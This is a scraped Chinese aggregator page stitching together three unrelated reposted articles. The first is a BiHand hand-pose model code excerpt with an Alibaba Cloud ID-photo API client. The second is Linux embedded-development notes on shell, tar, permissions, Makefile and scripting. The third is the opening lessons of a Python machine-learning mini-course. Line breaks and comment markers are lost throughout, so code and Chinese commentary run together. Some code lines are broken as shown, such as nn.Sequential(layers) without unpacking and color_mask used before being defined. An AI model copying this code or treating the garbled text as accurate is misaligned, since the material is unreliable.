_hm, mask, _mask = [], [], [], []for i in range(nstacks): 2hg2b.append(HourglassBisected(block, nblocks, ch, depth=4))res1.append(self._make_residual(block, nblocks, ch, ch))res2.append(self._make_residual(block, nblocks, ch, ch))fc1.append(self._make_fc(ch, ch))fc2.append(self._make_fc(ch, ch))hm.append(nn.Conv2d(ch, njoints, kernel_size=1, bias=True))mask.append(nn.Conv2d(ch, 1, kernel_size=1, bias=True))if i < nstacks-1:_fc1.append(nn.Conv2d(ch, ch, kernel_size=1, bias=False))_fc2.append(nn.Conv2d(ch, ch, kernel_size=1, bias=False))_hm.append(nn.Conv2d(njoints, ch, kernel_size=1, bias=False))_mask.append(nn.Conv2d(1, ch, kernel_size=1, bias=False))self.hg2b = nn.ModuleList(hg2b) hgs: hourglass stackself.res1 = nn.ModuleList(res1)self.fc1 = nn.ModuleList(fc1)self._fc1 = nn.ModuleList(_fc1)self.res2 = nn.ModuleList(res2)self.fc2 = nn.ModuleList(fc2)self._fc2 = nn.ModuleList(_fc2)self.hm = nn.ModuleList(hm)self._hm = nn.ModuleList(_hm)self.mask = nn.ModuleList(mask)self._mask = nn.ModuleList(_mask)def _make_fc(self, in_planes, out_planes):bn = nn.BatchNorm2d(in_planes)conv = nn.Conv2d(in_planes, out_planes, kernel_size=1, bias=False)return nn.Sequential(conv, bn, self.relu)def _make_residual(self, block, nblocks, in_planes, out_planes):layers = []layers.append( block( in_planes, out_planes) )self.in_planes = out_planesfor i in range(1, nblocks):layers.append(block( self.in_planes, out_planes))return nn.Sequential(layers)def forward(self, x):l_hm, l_mask, l_enc = [], [], []x = self.conv1(x) x: (N,64,128,128)x = self.bn1(x)x = self.relu(x)x = self.layer1(x)x = self.maxpool(x) x: (N,128,64,64)x = self.layer2(x)x = self.layer3(x)for i in range(self.nstacks): 2y_1, y_2, _ = self.hg2b[i](x)y_1 = self.res1[i](y_1)y_1 = self.fc1[i](y_1)est_hm = self.hm[i](y_1)l_hm.append(est_hm)y_2 = self.res2[i](y_2)y_2 = self.fc2[i](y_2)est_mask = self.mask[i](y_2)l_mask.append(est_mask)if i < self.nstacks-1:_fc1 = self._fc1[i](y_1)_hm = self._hm[i](est_hm)_fc2 = self._fc2[i](y_2)_mask = self._mask[i](est_mask)x = x + _fc1 + _fc2 + _hm + _maskl_enc.append(x)else:l_enc.append(x + y_1 + y_2)assert len(l_hm) == self.nstacksreturn l_hm, l_mask, l_encif __name__ == '__main__':a = torch.randn(10, 3, 256, 256) SeedNetmodel = SeedNet() output1,output2,output3 = SeedNetmodel(a) print(output1,output2,output3)total_params = sum(p.numel() for p in SeedNetmodel.parameters())/1000000print("Total parameters: ", total_params)pretrained_weights_path = 'E:/bihand/released_checkpoints/ckp_seednet_all.pth.tar'img_rgb_path=r"E:\FreiHAND\training\rgb\00000153.jpg"img=io.imread(img_rgb_path)resized_img = transform.resize(img, (256, 256), anti_aliasing=True)img256=util.img_as_ubyte(resized_img)plt.imshow(resized_img)plt.axis('off') 关闭坐标轴plt.show()''' implicit HWC -> CHW, 255 -> 1 '''img1 = func.to_tensor(img256).float() 转换为张量并且进行标准化处理''' 0-mean, 1 std, [0,1] -> [-0.5, 0.5] '''img2 = func.normalize(img1, [0.5, 0.5, 0.5], [1, 1, 1])img3 = torch.unsqueeze(img2, 0)ok=img3print(img.shape)SeedNetmodel = SeedNet()misc.load_checkpoint(SeedNetmodel, pretrained_weights_path)加载权重output1, output2, output3 = SeedNetmodel(img3)mask_tensor = torch.rand(1, 64, 64)output=output2[1] 1,1,64,64output_1=output[0] 1,64,64output_ok=torch.sigmoid(output_1[0])output_real=output_1[0].detach().numpy()直接产生的张量图color_mask=color_mask(output_ok) 显示彩色分割图two_color=two_color(output_ok)显示黑白分割图see=output_ok.detach().numpy() 使用Matplotlib库显示分割掩码 plt.imshow(see, cmap='gray') plt.axis('off') plt.show() print(output1, output2, output3)images = [resized_img, color_mask, two_color,output_real,see,see]rows = 1cols = 4 创建子图并展示图像fig, axes = plt.subplots(1, 6, figsize=(30, 5)) 遍历图像列表，并在每个子图中显示图像for i, image in enumerate(images):ax = axes[i] if cols > 1 else axes 如果只有一列，则直接使用axesif i ==5:ax.imshow(image, cmap='gray')else:ax.imshow(image)ax.imshowax.axis('off') 调整子图之间的间距plt.subplots_adjust(wspace=0.1, hspace=0.1) 展示图像plt.show() 上述的代码文件是在bihand/models/net_seed.py中，全部代码链接在https://github.com/lixiny/bihand。把bihand/models/net_seed.p中的代码修改为我提供的代码即可使用作者训练好的模型和进行各种可视化。（预训练模型根据作者代码提示下载） 3.调用阿里云API进行证件照生成实例 3.1 准备工作 1.找到接口进入下面链接即可快速访问 link 2.购买试用包 3.查看APPcode 4.下载代码 5.参数说明 3.2 实验代码 !/usr/bin/python encoding: utf-8"""===========================证件照制作接口==========================="""import requestsimport jsonimport base64import hashlibclass Idphoto:def __init__(self, appcode, timeout=7):self.appcode = appcodeself.timeout = timeoutself.make_idphoto_url = 'https://idp2.market.alicloudapi.com/idphoto/make'self.headers = {'Authorization': 'APPCODE ' + appcode,}def get_md5_data(self, body):"""md5加密:param body_json::return:"""md5lib = hashlib.md5()md5lib.update(body.encode("utf-8"))body_md5 = md5lib.digest()body_md5 = base64.b64encode(body_md5)return body_md5def get_photo_base64(self, file_path):with open(file_path, 'rb') as fp:photo_base64 = base64.b64encode(fp.read())photo_base64 = photo_base64.decode('utf8')return photo_base64def aiseg_request(self, url, data, headers):resp = requests.post(url=url, data=data, headers=headers, timeout=self.timeout)res = {"status_code": resp.status_code}try:res["data"] = json.loads(resp.text)return resexcept Exception as e:print(e)def make_idphoto(self, file_path, bk, spec="2"):"""证件照制作接口:param file_path::param bk::param spec::return:"""photo_base64 = self.get_photo_base64(file_path)body_json = {"photo": photo_base64,"bk": bk,"with_photo_key": 1,"spec": spec,"type": "jpg"}body = json.dumps(body_json)body_md5 = self.get_md5_data(body=body)self.headers.update({'Content-MD5': body_md5})data = self.aiseg_request(url=self.make_idphoto_url, data=body, headers=self.headers)return dataif __name__ == "__main__":file_path = "图片地址"idphoto = Idphoto(appcode="你的appcode")d = idphoto.make_idphoto(file_path, "red", "2")print(d) 3.3 实验结果与分析原图片背景为红色生成的证件照背景为蓝色生成的证件照另外尝试了使用柴犬照片做实验，也生成了证件照原图背景为红色生成的证件照参考（可供参考的链接和引用文献） 1.参考：BiHand: Recovering Hand Mesh with Multi-stage Bisected Hourglass Networks（BMVC2020）论文链接：https://arxiv.org/pdf/2008.05079.pdf 本篇文章为转载内容。原文链接：https://blog.csdn.net/m0_37758063/article/details/131128967。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-07-11 23:36:51

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...低 arm和x86的运算力、性能好，MIPS相对较弱嵌入式常用的非易失存储包括：nor flash，nand flash，emmc nand flash：价低，速快，有坏块 nor flash：价高，速慢，无坏块 emmc：相当于nand 和 nor的结合，内置坏块管理系统；价高 USB四线接口简单介绍开发电脑选择：核心越多越好，主频越高越好----->编译工程快设置ubuntu系统ip的方法：右上角找到设置图标，选择network，点齿轮图标号，在ipv4下面设置地址192.168.1.x，子网掩码255.255.255.0，网关192.168.1.1（必须要使windows，ubuntu，开发板处于同一网段，能互相ping通） U盘连接到主机和UBUNTU相互转换：虚拟机右下角，右键连接or断开 shell常用指令 ls -a：显示所有目录，文件夹，隐藏文件/目录 ls -l：显示文件的权限、修改时间等 ls -al：上面两个结合 ls 目录：显示该目录下的文件 – cd /：进入linux根目录 cd ~：/home/jl – uname ：查看系统信息 uname -a ：查看全部系统信息 – cat 文件名：显示某文件内容 – sudo ：临时切换root用户 sudo apt-get install 软件名：装某软件 sudo su：直接切换root用户（少用） sudo su jl：切换回普通用户 – touch 文件名：创建文件 rm -r 目录/文件：删除文件/目录及它包含的所有内容 rm -f 文件：直接删除，无需确认 rm -i 文件：删除文件，会逐一询问是否删除 rmdir 目录：专门删除目录 mv ：可以用来移动文件/目录，也可以用来重命名 – ifconfig：显示网络配置信息（lo：本地回环测试） ifconfig -a：显示所有网卡（上面只显示工作的，本条显示所有工作和未工作的） ifconfig eth0 up：打开eth0这个网卡 ifconfig eth0 down:关闭eth0这个网卡（0一般要sudo来执行） ifconfig eth0 你想设置的地址：重设eth0的ip地址 – 命令 --help：看看这个命令的帮助信息 reboot：重启 – sync：数据同步写入磁盘命令（一般来说，用户写的内容先保存在一个缓冲区，系统是隔一定时间像磁盘写入缓冲区内写入磁盘），用sync立刻写入 grep ”“ -i ：搜索时忽略大小写 grep 默认是匹配字符， -w 选项默认匹配一个单词例如我想匹配 “like”，不加 -w 就会匹配到 “liker”，加 -w 就不会匹配到 du 目录/文件 -sh ：查看某一文件/目录的大小，也可以到一个目录下du -sh，查看这个目录的大小目录下使用du -sh 查看目录总的大小 du 文件名 -sh 查看指定文件的大小 df：检查linux服务器的文件系统磁盘空间占用情况，默认以kb为单位 gedit 文件：使用gedit软件打开一个文件（类似于windows下面的记事本） ps：查看您当前系统有哪些进程，ubuntu（多用户）下是ps -aux，嵌入式linux（单用户）下面是ps top：进程实时运行状态查询 file 文件名：查看文件类型 ubuntu的fs cd / ：根目录，一切都是从根目录发散开来的 /bin：存放二进制可执行文件，比如一些命令 /boot：ubuntu的内核与启动文件 /cdrom：有光盘是存放光盘文件 /dev：存放设备驱动文件 /etc：存放配置文件，如账号和密码文件（加密后的） /home：系统默认的用户主文件夹 /lib：存放库文件 /lib64：存放库文件，. so时linux下面的动态库文件 /media：存放可插拔设备，如sd，u盘就是挂载到这个文件下面 /mnt：用户可使用的挂载点，和media类似，可以手动让可插拔设备挂载到/mnt /opt：可选的文件和程序存放目录，给第三方软件放置的目录 /proc：存放系统的运行信息，实在内存上的不是在flash上，如cat /proc/cpuinfo /root：系统管理员目录，root用户才能访问的文件 /sbin：和bin类似，存放一些二进制可执行文件，sbin下面一般是系统开机过程中所需要的命令 /srv：服务相关的目录，如网络服务 /sys：记录内核信息，是虚拟文件系统 /tmp：临时目录 /usr：不是user的缩写，而是UNIX Software Resource的缩写，存放系统用户有关的文件，占很大空间 /var：存放变化的文件，如日志文件 – 移植就是移植上面这些文件磁盘管理 linux开发一定要选用FAT32格式的U盘或者SD卡 u盘在/dev中的名字是sd,要确定是哪个，拔了看少了哪个。就是哪个 /dev/sdb表示U盘，/dev/sdb1表示U盘的第一个分区，一般U盘 sd卡只有一个分区 df：显示linux系统的磁盘占用情况在一个目录里使用du -sh：查看这个目录里面所有内容所占用的资源 du 文件名 -sh：一般用来看单个文件/目录的大小 du -h --max-depth=n:显示n级目录的大小 – 磁盘的挂载与取消挂载： mount 和 umount sudo mount /dev/sdb1 /media/jl/udisk sudo umount /media/jl/u盘名（-f 强制取消挂载），如果u盘正在使用，如被另一个终端打开，那么该指令无效 mount挂载后中文显示乱码的解决方法 sudo mount -o iocharset=utf8 /dev/sdb1 udisk – 磁盘的分区和格式化 sudo fdisk -l /dev/sdb 查看所有分区信息（–help查看别的用法） sudo fdisk /dev/sdb1 ----> m ( 进入帮助 ) ----> d 删除该分区 ----> wq 保存并退出 mkfs -t vfat /dev/sdb1 mkfs -t vfat /dev/sdb2 mkfs -t vfat /dev/sdb3 给分区1，2，3分别格式化，完成后能在图形界面看见三个u盘图标格式化u盘之前一定要先卸载u盘已经挂载的系统。 – 压缩和解压缩 linux下常用的压缩扩展名： .tar .tar.bz2 .tar.gz 后两个linux常用 windows下面用7zip软件右键选中文件，选择7zip，添加到压缩包，压缩格式选择tar，仅存储生成tar文件，这里只是打包，没有压缩右键上面的tar文件，选择7zip，添加到压缩包，压缩格式选择bzip2，确定生成.tar.bz2文件，把它放到ubuntu解压 ubuntu也支持解压.tar和.zip，但后面两个常用 – ubuntu下面的压缩工具时gzip 压缩文件 gzip 文件名：压缩文件，变成原文件名.gz，原来的文件就不见了解压缩文件 gzip -d .gz：还原文件 gzip -r 目录：递归，将该目录里的各个文件压缩，不提供打包服务 – bzip2工具负责压缩和解压缩.bz2格式的压缩包 bzip2 -z 文件名，压缩成文件名.bz2 bzip2 -d 文件名.bz2，解压缩成文件名 bzip2不能压缩/解压缩目录 – 打包工具 tar 常用参数 -f：使用归档文件（必须要在所有选项后面） -c：创建一个新归档 -x：从归档中解出文件 -j：使用bzip2压缩格式 -z：使用gzip压缩格式 -v：打印出命令执行过程如以bzip2格式压缩，打包 tar -vcjf 目录名.tar.bz2 目录名如将上面的压缩包解包 tar -vxjf 目录名.tar.bz2 – 其他压缩工具 rar工具 sudo apt-get install rar（用dhcp连不上阿里云的镜像） rar a test.rar test 把test压缩成test.rar rar x test.rar 把test.rar解压缩成test – zip工具压缩 zip -rv test.zip test 解压缩 unzip test.zip – ubuntu的用户和用户组 linux是多用户的os，不同的用户有不同的权限，可以查看和操作不同的文件有三种用户 1、初次用户 2、root用户 3、普通用户 root用户可以创建普通用户 linux用户记录在/etc/passwd这个文件内 linux用户密码记录在/etc/shadow这个文件内，不是以明文记录的每个用户都有一个id，叫做UID – linux用户组为了方便管理，将用户进行分组，每个用户可以属于多个组可以设置非本组人员不能访问一些文件用户和用户组的存在就是为了控制文件的访问权限的每个用户组都有一个ID，叫做GID 用户组信息存储在/etc/group中 passwd 用户名：修改该用户的密码 – ubuntu文件权限 ls -al 文件名如以b开头： -brwx - rwx - rwx -：b表示块文件，设备文件里面可供存储的周边设备以d开头是目录以b是块设备文件以-开头是普通文件以 l 开头表示软连接文件以c开头是设备文件里的串行端口设备 -rwx - rwx - rwx -：用户权限，用户组内其他成员，其它组用户数字 1 表示链接数，包括软链接和硬链接第三列 jl 表示文件的拥有者第四列 jl 表示文件的用户组第五列 3517 表示这个文件的大小，单位是字节 ls -l 显示的文件大小单位是字节 ls -lh 现实的文件大小单位是 M / G 第六七八列是最近修改时间最后一列是文件名 – 修改文件权限命令 chmod 777 文件名修改文件所属用户 sudo chown root 文件修改文件用户组 sudo chown .root 文件同时修改文件用户和用户组 sudo chown jl.jl 文件修改目录的用户/用户组 sudo chown -r jl.jl 目录（ root.root ） – linux连接文件 1、硬连接 2、符号连接（软连接） linux有两种连接文件，软连接/符号连接，硬连接符号连接类似于windows下面的快捷方式硬连接通过文件系统的inode连接来产生新文件名，而不是产生新文件 inode：记录文件属性，一个文件对应一个inode， inode相当于文件ID 查找文件要先找到inode，然后才能读到文件内容 – ln 命令用于创建连接文件 ln 【选项】源文件目标文件不加选项就是默认创建硬连接 -s 创建软连接 -f 强制创建连接文件，如果目标存在，就先删掉目标文件，再创建连接文件 – 硬连接：多个文件都指向同一个inode 具有向inode的多个文件互为硬连接文件，创建硬连接相当于文件实体多了入口只有删除了源文件、和它所有的硬连接文件，晚间实体才会被删除可以给文件创建硬连接来防止文件误删除改了源文件还是硬连接文件，另一个文件的数据都会被改变硬连接不能跨文件系统（另一个格式的u盘中的文件）硬连接不能连接到目录出于以上原因，硬连接不常用 ls -li：此时第一列显示的就是每个文件的inode – 软连接/符号连接类似windows下面的快捷方式使用较多软连接相当于串联里一个独立的文件，该文件会让数据读取指向它连接的文件 ln -s 源文件目标文件特点：可以连接到目录可以跨文件系统删除源文件，软连接文件也打不开了软连接文件通过 “ -> ” 来指示具体的连接文件（ls -l）创建软连接的时候，源文件一定要使用绝对路径给出，（硬连接无此要求）软连接文件直接用cp复制到别的目录下，软连接文件就会变成实体文件，就算你把源文件删掉，该文件还是有效正确的复制、移动软连接的用法是：cp -d 如果不用绝对路径，cp -d 软连接文件到别的目录，该软连接文件就会变红，失效如果用了绝对路径，cp -d 软连接文件到别的目录，该软连接文件还是有效的，还是软连接文件不用绝对路径，一拷贝就会出问题 – 软连接一个目录，也是可以用cp -d复制到其他位置的 – gedit 是基于图形界面的 vim有三种模式： 1、一般模式：默认模式，用vim打开一个文件就自动进入这个模式 2、编辑模式：按 i，a等进入，按esc回到一般模式 3、命令行/底行模式：在一般模式下输入：/ ？可进入命令行模式，按esc回到一般模式一般模式下，dd删除光标所在的一整行； ndd，删除掉光标所在行和下面的一共n行点 . 重复上一个操作 yy复制光标所在行小p复制到光标下一行大p复制到光标上一行n nyy复制光标所在往下n行设置vim里的tab是四个空格：在/etc/vim/vimrc里面添加：set ts=4 设置vim中显示行号：在上面那个文件里添加：set nu – vscode是编辑器 gcc能编译汇编，c，cpp 电脑上的ubuntu自带的gcc用来编译x86架构的程序，而嵌入式设备的code要用针对于该芯片架构如arm的gcc编译器，又叫做交叉编译器（在一种架构的电脑上编译成另一种架构的代码） gcc -c 源文件:只编译不链接，编译成.o文件 -o 输出文件名（默认名是 .out ） -O 对程序进行优化编译，这样产生的可执行文件执行效率更高 -O2：比-O幅度更大的优化，但编译速度会很慢 -v：显示编译的过程 gcc main.c 输出main.out的可执行文件预处理 --> 编译 --> 汇编 --> 链接 – makefile里第一个目标默认是终极目标其他目标的顺序可以变 makefile中的变量都是字符串变量的引用方法： $ （变量名） – Makefile中执行shell命令默认会把命令本身打印出来如果在shell命令前加 @ ，那么shell’命令本身就不会被打印 – 赋值符：= 变量的有效值取决于他最后一次被赋值的值： = 赋值时右边的值只是用前面已经定义好的，不会使用后面的？= 如果左边的前面没有被赋值，那么在这里赋值，佛则就用前面的赋值 + = 左边前面已经复制了一些字串，在这里添加右边的内容，用空格隔开 – 模式规则 % . o : % . c %在这里意思是通配符，只能用于模式规则依赖中 % 的内容取决于目标 % 的内容 – CFLAGS:指定头文件的位置 LDFLAGS：用于优化参数，指定库文件的位置 LIBS：告诉链接器要链接哪些库文件 VPATH：特殊变量，指定源文件的位置，冒号隔开，按序查找源文件 vpath：关键字，三种模式，指定、清除 – 自动化变量 $ @ 规则中的目标集合 $ % 当目标是函数库的时候，表示规则中的目标成员名 $ < 依赖文件集合中的第一个文件，如果依赖文件是以 % 定义的，那么 $ < 就是符合模式的一系列文件的集合 $ ? 所有比目标新的依赖文件的集合，以空格分开 $ ^ 所有依赖文件的集合，用空格分开，如果有重复的依赖文件，只保留一次 $ + 和 $ ^ 类似，但有多少重复文件都会保留 $ 表明目标模式中 % 及其以前的部分如果目标是 test/a.test.c，目标模式是 a.%.c，那么 $ 就表示 test/a.test – 常用的是 $@ , $< , $^ – Makefile的伪目标不生成目标文件，只是执行它下面的命令如果被错认为是文件，由于伪目标一般没有依赖，那么目标就被认为是最新的，那么它下面的命令就不会执行。如果目录下有同名文件，伪目标错认为是该文件，由于没有依赖，伪目标下面的指令不会被执行伪目标声明方法 .PHONY : clean 那么就算目录下有伪目标同名文件，伪目标也同样会执行 – 条件判断 ifeq ifneq ifdef ifndef – makefile函数使用 shell脚本类似于windoes的批处理文件将连续执行的命令写成一个文件 shell脚本可以提供数组，循环，条件判断等功能开头必须是：!/bin/bash 表示使用bash 脚本的扩展名：.sh – 交互式shell 有输入有输出输入：read 第三行 name在这里作为变量，read输入这个变量下一行使用这个变量直接是 $name，不用像 Makefile 里面那样子加括号 read -p “读取前你想打印的内容” 变量1 变量2 变量3… – 数值计算第五行等于号两边不能有空格右边计算的时候是 $( ( ) )，注意要两个括号 – test 测试命令文件状态查询，字符、数字比较 && cmd1 && cmd2 当cmd1执行完并且正确，那么cmd2也执行当cmd2执行完并且错误，那么cmd2不执行 || cmd1 || cmd2 当cmd1执行完并且正确，那么cmd2不执行当cmd2执行完并且错误，那么cmd2也执行查看一个文件是否存在 – 测试两个字符串是否相等 ==两边必须要有空格，如果不加空格，test这句就一直是对的。 – 中括号判断符 [ ] 作用和test类似里面只能输入 == 或者！= 四个箭头所指必须用空格隔开而且如果变量是字符串的话，一定要加双引号 – 默认变量 $0——shell脚本本身的命令 $——最后一个参数的标号（1，2，3，4…） $@——表示 $1 , $2 , $3 … $1 $2 $3 – shell 脚本的条件判断 if [ 条件判断 ];then //do something fi 红点处都要加空格 exit 0——表示退出 – if 条件判断;then //do something elif 条件判断;them //do something else //do something fi 红线处要加空格 – case 语句 case $var in “第一个变量的内容”) //do something ;; “第二个变量的内容”) // do something ;; . . . “第n个变量的内容”) //do something ;; esac 不能用 “”，否则就不是通配符的意思，而是表示字符 – shell 脚本函数 function fname(){ //函数代码段 } 其中function可以写也可以不写调用函数的时候不要加括号 shell 脚本函数传参方式 – shell 循环 while[条件] //括号内的状态是判断式 do //循环代码段 done – until [条件] do //循环代码段 done – for循环，使用该循环可以知道有循环次数 for var con1 con2 con3 … … do //循环代码段 done – for 循环数值处理 for((初始值；限制值；执行步长)) do //循环代码段 done – 红点处必须要加空格！！ loop 环 – – 注意变量有的地方用了 $ ，有的地方不需要 $ 这里的赋值号两边都不用加空格 $(())数值运算本篇文章为转载内容。原文链接：https://blog.csdn.net/engineer0/article/details/107965908。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-11-23 17:18:30

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[转载]教你学Python47-机器学习迷你课程

...习从业人员 14天 Python是应用机器学习发展最快的平台之一。在本小课程中，您将发现如何在14天内使用Python入门，建立准确的模型以及自信地完成预测建模机器学习项目。这是重要的职位。您可能要为其添加书签。在我的新书中，通过16个循序渐进的教程，3个项目和完整的python代码，探索如何用熊猫准备数据，使用scikit-learn拟合和评估模型，以及更多内容。让我们开始吧。 2016年10月更新：更新了sklearn v0.18的示例。 2018年2月更新：更新Python和库版本。 2018年3月更新：增加了备用链接以下载一些数据集，因为原始文件似乎已被删除。 2019年5月更新：修复了scikit-learn最新版本的警告消息。 Dave Young的 Python机器学习迷你课程照片，保留一些权利。迷你课程面向谁？在开始之前，请确保您在正确的位置。下面的列表提供了有关本课程针对谁的一些一般指导。如果您没有完全匹配这些点，请不要惊慌，您可能只需要在一个或另一个区域刷牙以跟上。知道如何编写一些代码的开发人员。这意味着，一旦您了解基本语法，就可以选择像Python这样的新编程语言，这对您来说并不重要。这并不意味着您是一名向导编码员，而是可以毫不费力地遵循基本的类似于C的语言。懂一点机器学习的开发人员。这意味着您了解机器学习的基础知识，例如交叉验证，一些算法和偏差方差折衷。这并不意味着您是机器学习博士，而是您知道地标或知道在哪里查找。这门迷你课程既不是Python的教科书，也不是机器学习的教科书。从一个懂一点机器学习的开发人员到一个可以使用Python生态系统获得结果的开发人员，Python生态系统是专业机器学习的新兴平台。在Python机器学习方面需要帮助吗？参加我为期2周的免费电子邮件课程，发现数据准备，算法等（包括代码）。单击立即注册，并获得该课程的免费PDF电子书版本。立即开始免费的迷你课程！迷你课程概述该微型课程分为14节课。您可以每天完成一堂课（推荐），也可以在一天内完成所有课程（核心！）。这实际上取决于您有空的时间和您的热情水平。以下是14个课程，可帮助您入门并提高使用Python进行机器学习的效率：第1课：下载并安装Python和SciPy生态系统。第2课：深入了解Python，NumPy，Matplotlib和Pandas。第3课：从CSV加载数据。第4课：了解具有描述性统计信息的数据。第5课：通过可视化了解数据。第6课：通过预处理数据准备建模。第7课：使用重采样方法进行算法评估。第8课：算法评估指标。第9课：现场检查算法。第10课：模型比较和选择。第11课：通过算法调整提高准确性。第12课：利用集合预测提高准确性。第13课：完成并保存模型。第14课：Hello World端到端项目。每节课可能需要您60秒钟或最多30分钟。花点时间按照自己的进度完成课程。提出问题，甚至在以下评论中发布结果。这些课程希望您能开始学习并做事。我会给您提示，但每节课的重点是迫使您学习从哪里寻求有关Python平台的帮助（提示，我直接在此博客上获得了所有答案，请使用搜索特征）。在早期课程中，我确实提供了更多帮助，因为我希望您树立一些信心和惯性。挂在那里，不要放弃！第1课：下载并安装Python和SciPy 您必须先访问平台才能开始使用Python进行机器学习。今天的课程很简单，您必须在计算机上下载并安装Python 3.6平台。访问Python主页并下载适用于您的操作系统（Linux，OS X或Windows）的Python。在计算机上安装Python。您可能需要使用特定于平台的软件包管理器，例如OS X上的macports或RedHat Linux上的yum。您还需要安装SciPy平台和scikit-learn库。我建议使用与安装Python相同的方法。您可以使用Anaconda一次安装所有内容（更加容易）。推荐给初学者。通过在命令行中键入“ python”来首次启动Python。使用以下代码检查所有您需要的版本： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Python version import sys print('Python: {}'.format(sys.version)) scipy import scipy print('scipy: {}'.format(scipy.__version__)) numpy import numpy print('numpy: {}'.format(numpy.__version__)) matplotlib import matplotlib print('matplotlib: {}'.format(matplotlib.__version__)) pandas import pandas print('pandas: {}'.format(pandas.__version__)) scikit-learn import sklearn print('sklearn: {}'.format(sklearn.__version__)) 如果有任何错误，请停止。现在该修复它们了。需要帮忙？请参阅本教程：如何使用Anaconda设置用于机器学习和深度学习的Python环境第2课：深入了解Python，NumPy，Matplotlib和Pandas。您需要能够读写基本的Python脚本。作为开发人员，您可以很快选择新的编程语言。Python区分大小写，使用哈希（＃）进行注释，并使用空格指示代码块（空格很重要）。今天的任务是在Python交互环境中练习Python编程语言的基本语法和重要的SciPy数据结构。练习作业，在Python中使用列表和流程控制。练习使用NumPy数组。练习在Matplotlib中创建简单图。练习使用Pandas Series和DataFrames。例如，以下是创建Pandas DataFrame的简单示例。 1 2 3 4 5 6 7 8 dataframe import numpy import pandas myarray = numpy.array([[1, 2, 3], [4, 5, 6]]) rownames = ['a', 'b'] colnames = ['one', 'two', 'three'] mydataframe = pandas.DataFrame(myarray, index=rownames, columns=colnames) print(mydataframe) 第3课：从CSV加载数据机器学习算法需要数据。您可以从CSV文件加载自己的数据，但是当您开始使用Python进行机器学习时，应该在标准机器学习数据集上进行练习。今天课程的任务是让您轻松地将数据加载到Python中并查找和加载标准的机器学习数据集。您可以在UCI机器学习存储库上下载和练习许多CSV格式的出色标准机器学习数据集。练习使用标准库中的CSV.reader（）将CSV文件加载到Python 中。练习使用NumPy和numpy.loadtxt（）函数加载CSV文件。练习使用Pandas和pandas.read_csv（）函数加载CSV文件。为了让您入门，下面是一个片段，该片段将直接从UCI机器学习存储库中使用Pandas来加载Pima Indians糖尿病数据集。 1 2 3 4 5 6 Load CSV using Pandas from URL import pandas url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] data = pandas.read_csv(url, names=names) print(data.shape) 到现在为止做得很好！等一下到目前为止有什么问题吗？在评论中提问。第4课：使用描述性统计数据理解数据将数据加载到Python之后，您需要能够理解它。您越了解数据，可以构建的模型就越精确。了解数据的第一步是使用描述性统计数据。今天，您的课程是学习如何使用描述性统计信息来理解您的数据。我建议使用Pandas DataFrame上提供的帮助程序功能。使用head（）函数了解您的数据以查看前几行。使用shape属性查看数据的维度。使用dtypes属性查看每个属性的数据类型。使用describe（）函数查看数据的分布。使用corr（）函数计算变量之间的成对相关性。以下示例加载了皮马印第安人糖尿病发病数据集，并总结了每个属性的分布。 1 2 3 4 5 6 7 Statistical Summary import pandas url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] data = pandas.read_csv(url, names=names) description = data.describe() print(description) 试试看！第5课：通过可视化了解数据从昨天的课程继续，您必须花一些时间更好地了解您的数据。增进对数据理解的第二种方法是使用数据可视化技术（例如，绘图）。今天，您的课程是学习如何在Python中使用绘图来单独理解属性及其相互作用。再次，我建议使用Pandas DataFrame上提供的帮助程序功能。使用hist（）函数创建每个属性的直方图。使用plot（kind ='box'）函数创建每个属性的箱须图。使用pandas.scatter_matrix（）函数创建所有属性的成对散点图。例如，下面的代码片段将加载糖尿病数据集并创建数据集的散点图矩阵。 1 2 3 4 5 6 7 8 9 Scatter Plot Matrix import matplotlib.pyplot as plt import pandas from pandas.plotting import scatter_matrix url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] data = pandas.read_csv(url, names=names) scatter_matrix(data) plt.show() 样本散点图矩阵第6课：通过预处理数据准备建模您的原始数据可能未设置为最佳建模形式。有时您需要对数据进行预处理，以便最好地将问题的固有结构呈现给建模算法。在今天的课程中，您将使用scikit-learn提供的预处理功能。 scikit-learn库提供了两个用于转换数据的标准习语。每种变换在不同的情况下都非常有用：拟合和多重变换以及组合的拟合与变换。您可以使用多种技术来准备数据以进行建模。例如，尝试以下一些方法使用比例和中心选项将数值数据标准化（例如，平均值为0，标准偏差为1）。使用范围选项将数值数据标准化（例如，范围为0-1）。探索更高级的功能工程，例如Binarizing。例如，下面的代码段加载了Pima Indians糖尿病发病数据集，计算了标准化数据所需的参数，然后创建了输入数据的标准化副本。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Standardize data (0 mean, 1 stdev) from sklearn.preprocessing import StandardScaler import pandas import numpy url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = pandas.read_csv(url, names=names) array = dataframe.values separate array into input and output components X = array[:,0:8] Y = array[:,8] scaler = StandardScaler().fit(X) rescaledX = scaler.transform(X) summarize transformed data numpy.set_printoptions(precision=3) print(rescaledX[0:5,:]) 